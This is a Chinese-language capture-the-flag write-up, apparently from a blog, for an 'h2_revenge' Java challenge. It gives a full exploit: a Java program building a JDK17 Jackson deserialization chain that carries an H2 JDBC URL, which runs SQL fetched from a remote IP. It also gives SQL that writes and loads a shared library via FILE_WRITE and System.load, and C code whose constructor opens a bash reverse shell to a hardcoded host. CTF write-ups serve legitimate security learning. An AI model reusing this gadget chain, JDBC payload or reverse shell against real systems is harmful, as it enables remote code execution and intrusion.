37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
package com.example.h2_revenge.test;

import challenge.MyDataSource;

import com.fasterxml.jackson.databind.node.POJONode;
import com.fasterxml.jackson.databind.node.BaseJsonNode;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import sun.misc.Unsafe;


import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.io.*;
import java.lang.reflect.*;

import java.util.*;



public class test {
public static void main(String[] args) throws Exception {

// 添加参数 --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED --add-opens java.desktop/javax.swing.undo=ALL-UNNAMED --add-opens java.desktop/javax.swing.event=ALL-UNNAMED

ClassPool pool = ClassPool.getDefault();
CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
ctClass0.removeMethod(writeReplace);
ctClass0.toClass();

String jdbc_url = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://8.138.127.74:6001/1.sql';";

MyDataSource myDataSource = new MyDataSource(jdbc_url, "1", "1");



POJONode pojoNode = new POJONode(myDataSource);


EventListenerList list = new EventListenerList();
UndoManager manager = new UndoManager();
Vector vector = (Vector)getFieldValue(manager, "edits");
vector.add(pojoNode);
setFieldValue(list, "listenerList", new Object[]{Map.class, manager});


System.out.println(SerializeByB64(list));



}

public static Object getFieldValue(Object obj, String fieldName) throws NoSuchFieldException, IllegalAccessException {

Class clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(obj);
} catch (Exception e) {
clazz = clazz.getSuperclass();
}
}
return null;
}

public static String SerializeByB64(Object o) throws Exception{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(baos);
objectOutputStream.writeObject(o);
objectOutputStream.close();
return Base64.getEncoder().encodeToString(baos.toByteArray());
}
public static void DeserializeByB64(String s) throws Exception{
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(s)));
objectInputStream.readObject();
objectInputStream.close();
}


//反射获取field
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null) {
field = getField(clazz.getSuperclass(), fieldName);
}
}
return field;
}
//反射修改值
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

//bypass jdk17 reflection limits
public static Object patchModule(String className) throws Exception{
final ArrayList<Class> classes = new ArrayList<>();
classes.add(Class.forName("java.lang.reflect.Field"));
classes.add(Class.forName("java.lang.reflect.Method"));
Class aClass = Class.forName(className);
classes.add(aClass);
new test().bypassModule(classes);
return aClass.newInstance();
}

//修改Module
public void bypassModule(ArrayList<Class> classes){
try {
Unsafe unsafe = getUnsafe();
Class currentClass = this.getClass();
try {
Method getModuleMethod = getMethod(Class.class, "getModule", new Class[0]);
if (getModuleMethod != null) {
for (Class aClass : classes) {
Object targetModule = getModuleMethod.invoke(aClass, new Object[]{});
unsafe.getAndSetObject(currentClass,
unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule);
}
}
}catch (Exception e) {
}
}catch (Exception e){
e.printStackTrace();
}
}

// 获取方法
private static Method getMethod(Class clazz,String methodName,Class[]
params) {
Method method = null;
while (clazz!=null){
try {method = clazz.getDeclaredMethod(methodName,params);
break;
}catch (NoSuchMethodException e){
clazz = clazz.getSuperclass();
}
}
return method;
}

// 反射获取Unsafe类
private static Unsafe getUnsafe() {
Unsafe unsafe = null;
try {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe) field.get(null);
} catch (Exception e) {
throw new AssertionError(e);
}
return unsafe;
}

}

可以看到java17下需要使用EventListener类来触发toString再去打jackson,并且jackson仍需要删除writeReplace,链子是很简单的,就是jdbc attack的h2,但是在编写1.sql的时候出问题了,按照传统的攻击h2的思路,可以通过h2的CREATE ALIAS来编译一段java代码,然后通过CALL来执行该java代码,传统的1.sql如下:

1
2
3
4
5
CREATE ALIAS SHELLEXEC AS 'String shellexec(String cmd) throws java.io.IOException {
Runtime.getRuntime().exec(cmd);
return "win";
}';
CALL SHELLEXEC('calc');

但是!没有javac是编译不了的,因此自然执行失败:

因此最后的操作变成了如何执行rce

万幸的是h2的CREATE ALIAS能够直接创建java中的静态方法,此时可以通过System.load静态方法来加载动态链接库的so,从而实现加载恶意so完成反弹shell(类似环境变量劫持的思路,但是java能够直接加载动态链接库,就不需要ld_preload了),因此我们需要实现写入一个so的操作,思路来源如下:

X1r0z——受限制的JDBC H2 RCE

Exploiting H2 Without javac

首先编写exp.c:

1
2
3
4
5
6
7
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__((__constructor__)) void preload(void){
system("bash -c 'bash -i >& /dev/tcp/8.138.127.74/2333 0>&1'");
}

然后gcc编译成so:

1
gcc -shared -fPIC exp.c -o exp.so

编译完之后问题来到了怎么写入,由于依赖只有h2.,因此上面提到的file write的思路(调用commons-io和cb的静态函数来实现文件读写)不能够直接打通,因此只能够将目光投向h2是否有操作能够直接写入文件,询问deepseek发现可以通过FILE_WRITE函数来写入十六进制文件(并且进行hex decode):

因此编写1.sql如下:

1
2
3
4
CALL FILE_WRITE(X'自己的so的十六进制编码', '/tmp/exp.so');

CREATE ALIAS IF NOT EXISTS System_load FOR "java.lang.System.load(java.lang.String)";
CALL System_load('/tmp/exp.so');

vps上放好1.sql,将payload发过去监听并等待反弹shell即可:

虽然flag的权限是000,但是flag的所属用户组和用户都是自己(ctf),因此可以直接通过chmod 777来直接获得flag的读权限